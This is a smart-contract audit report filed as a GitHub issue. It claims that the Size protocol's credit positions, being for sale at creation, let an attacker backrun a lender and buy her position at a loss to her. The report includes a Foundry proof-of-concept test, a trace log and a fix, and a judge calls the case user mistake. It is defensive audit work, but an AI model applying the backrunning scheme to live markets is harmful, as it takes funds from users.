howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/AccountingLibrary.sol#L77-L82 https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/AccountingLibrary.sol#L119

Vulnerability details

Impact

Creating a creditPosition directly with the flag:forSale=true may result in malicious user buying the creditPosition with buyCreditMarket() on a loanOffer that is not directed to the creditposition.

Lets see the following scenario

Alice deposits collateral 1000usd (weth)
Alice sellsCreditLimit() posts borrowoffer
Bob buysCreditMarket(alice)
some days pass by // Alice still keeps the loanOffer as she needs to borrow more money
James deposits collater 1000usd (weth)
James sellsCreditLimit() posts borrowoffer
Alice decides to lend some money to James
Alice buysCreditMarket(james) which creates creditPosition that is up for sale immediatly
Candy is observing the situation carefully and sees that Alice still has borrowOffer that could be exploited as the offer is better for the lender
Candy is observing the mempool and backruns Alice transaction with buyCreditMarket(alice.creditposition) this way Candy uses the borrowOffer of Alice that was not supposed to be for this creditposition

The likelyhood is medium but the impact is high as a vulnerable user could immediatly lose value.

Proof of Concept

POC: With the test below we can see the situation unfolds in real time.

The test is executed in the context of BuyCreditMarket.t.sol with the following command - forge test --match-test test_BuyCreditMarket_buyCreditMarket_stanchevPOC2 -vvvv

function test_BuyCreditMarket_buyCreditMarket_stanchevPOC2() public {
        _setPrice(1e18);
        _updateConfig("borrowATokenCap", type(uint256).max);

        _deposit(alice, weth, 1600e18);
        _deposit(alice, usdc, 1000e6);
        _deposit(bob, weth, 1600e18);
        _deposit(bob, usdc, 1000e6);
        _deposit(james, weth, 1600e18);
        _deposit(james, usdc, 1000e6);
        _deposit(candy, weth, 1600e18);
        _deposit(candy, usdc, 1000e6);

        uint256 tenor = 365 days;
        uint256 amountIn = 200e6;

        _sellCreditLimit(alice, YieldCurveHelper.pointCurve(tenor, 0.25e18));
        uint256 debtPositionAliceId = _buyCreditMarket(bob, alice, amountIn, tenor, true);
        //initial trade that alice borrowed some money from bob

        _sellCreditLimit(james, YieldCurveHelper.pointCurve(tenor, 0.05e18));
        uint256 debtPositionJamesId = _buyCreditMarket(alice, james, amountIn, tenor, true); //alice has 210usd credit

        uint256 creditPositionAliceId = size.getCreditPositionIdsByDebtPositionId(debtPositionJamesId)[0];

        uint256 amountInCandy = 168e6;
        console.log("here we start the exploit");
        uint256 debtPositionId = _buyCreditMarket(candy, creditPositionAliceId, amountInCandy, true);

    }

Logs:

       ├─ [646] LoanLibrary::3978289f(00000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   │   │   │   └─ ← [Return] 0x7bf18f58438c7976ed2a35687a1c84cd46cc452b186e662aa20ee0a75e56a6c2
    │   │   │   │   ├─ emit UpdateCreditPosition(creditPositionId: 57896044618658097711785492504343953926634992332820282019728792003956564819968 [5.789e76], lender: candy: [0x0000000000000000000000000000000000030000], credit: 210000000 [2.1e8], forSale: true)
    │   │   │   │   └─ ← [Stop] 
    │   │   │   ├─ [9033] NonTransferrableScaledToken::transferFrom(candy: [0x0000000000000000000000000000000000030000], alice: [0x0000000000000000000000000000000000010000], 167160000 [1.671e8])
    │   │   │   │   ├─ [565] PoolMock::getReserveNormalizedIncome(USDC: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
    │   │   │   │   │   └─ ← [Return] 1000000000000000000000000000 [1e27]
    │   │   │   │   ├─ emit Transfer(from: candy: [0x0000000000000000000000000000000000030000], to: address(0): [0x0000000000000000000000000000000000000000], value: 167160000 [1.671e8])
    │   │   │   │   ├─ emit Transfer(from: address(0): [0x0000000000000000000000000000000000000000], to: alice: [0x0000000000000000000000000000000000010000], value: 167160000 [1.671e8])
    │   │   │   │   ├─ emit TransferUnscaled(from: candy: [0x0000000000000000000000000000000000030000], to: alice: [0x0000000000000000000000000000000000010000], value: 167160000 [1.671e8])
    │   │   │   │   └─ ← [Return] true

Logs shows us a vulnerability which results in Alice getting 167 usd for her 200 usd position so around 33usd immediate loss for her, while candy has gotten advantage over her credit buying it for around 168 usd.

Tools Used

Manual review

Recommended Mitigation Steps

creditPosition = CreditPosition({
            lender: lender,
            credit: debtPosition.futureValue,
            debtPositionId: debtPositionId,
-           forSale: true
+           forSale: false
        });

Assessed type

Context

hansfriese commented 4 months ago

Similar to #60. Alice lost funds as her borrow APR is higher than her loan APR. User mistake.

c4-judge commented 4 months ago

hansfriese marked the issue as not a duplicate